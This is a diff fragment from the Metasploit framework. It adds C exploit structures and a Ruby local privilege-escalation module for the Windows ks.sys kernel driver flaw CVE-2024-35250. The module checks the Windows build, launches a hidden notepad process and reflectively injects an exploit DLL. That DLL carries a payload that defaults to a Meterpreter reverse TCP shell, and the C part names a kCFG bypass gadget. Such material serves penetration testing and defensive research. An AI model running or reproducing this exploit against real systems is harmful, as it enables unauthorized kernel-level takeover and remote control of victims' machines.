SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +__inline void * ULongLongToPtr64( const unsigned long long ull ) +{ + return( (void *)(ULONG_PTR)ull ); +} + +// +// Declare some functions from ntdll.dll +// +extern "C" +{ + NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid); + + NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString); + + NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService); + + NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL ); +} + + +#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}" + +//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server); +//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server) + +//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service); +//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service) + +// +// Declare data structures related to the exploit +// +typedef struct _RTL_BITMAP +{ + DWORD SizeOfBitMap; + PVOID Buffer; +}RTL_BITMAP, *PRTL_BITMAP; + +#pragma pack(1) +typedef struct _EXPLOIT_DATA1 +{ + PRTL_BITMAP FakeBitmap; +}EXPLOIT_DATA1; + +typedef struct _EXPLOIT_DATA2 +{ + char pad[0x20]; + PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits +} EXPLOIT_DATA2; diff --git a/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb b/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb new file mode 100644 index 000000000000..20201e968228 --- /dev/null +++ b/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + include Msf::Post::Windows::Version + prepend Msf::Exploit::Remote::AutoCheck + + class VulnerableDriverNotPresent < StandardError; end + class TargetNot64BitWindows < StandardError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Access Mode Mismatch LPE in ks.sys', + 'Description' => %q{ + The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. + There exists a LPE in this driver which can be exploited on many recent versions of Windows 10, + Windows 11, Windows Server 2022. + }, + 'Author' => [ + 'AngelBoy', # discovery + 'varwara', # PoC + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://github.com/varwara/CVE-2024-35250'], + [ 'URL', 'https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/'], + [ 'URL', 'https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html'], + [ 'CVE', '2024-35250'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Privileged' => true, + 'Arch' => [ ARCH_X64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + ['Windows x64', { 'Arch' => ARCH_X64 }] + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-06-11', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + end + + def target_compatible?(version) + raise TargetNot64BitWindows, 'Non 64-bit Windows systems are not affected' unless session.platform == 'windows' && sysinfo['Architecture'] == ARCH_X64 + + file_path = get_env('WINDIR') + '\\system32\\drivers\\ks.sys' + raise VulnerableDriverNotPresent, 'The target system does not have ks.sys in system32\\drivers\\' unless file?(file_path) + + vprint_status("Windows Build Number = #{version.build_number}") + + return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_22H2) + return true if version.build_number == Msf::WindowsVersion::Win11_21H2 || version.build_number == Msf::WindowsVersion::Win11_22H2 + return true if version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2022) + + false + end + + def check + version = get_version_info + begin + return Exploit::CheckCode::Appears("ks.sys is present, Windows Version detected: #{version}") if target_compatible?(version) + rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e + return Exploit::CheckCode::Safe("#{e.class}: #{e.message}") + end + + CheckCode::Safe("Version detected: #{version}") + end + + def exploit + fail_with(Failure::None, 'Session is already elevated') if is_system? + + if datastore['ForceExploit'] || !datastore['AutoCheck'] + begin + version = get_version_info + fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}") unless target_compatible?(version) + print_good("ks.sys is present, Windows Version detected: #{version}") + rescue VulnerableDriverNotPresent, TargetNot64BitWindows => e + fail_with(Failure::NoTarget, "#{e.class}: #{e.message}") + end + end + + print_status('Launching notepad to host the exploit...') + notepad_path = get_notepad_pathname(ARCH_X64, client.sys.config.getenv('windir'), ARCH_X64) + + print_status("The notepad path is: #{notepad_path}") + notepad_process = client.sys.process.execute(notepad_path, nil, { 'Hidden' => true }) + print_status("The notepad pid is: #{notepad_process.pid}") + encoded_payload = payload.encoded + execute_dll( + ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-35250', 'CVE-2024-35250.x64.dll'), + [encoded_payload.length].pack('I<') + encoded_payload, + notepad_process.pid + ) + end +end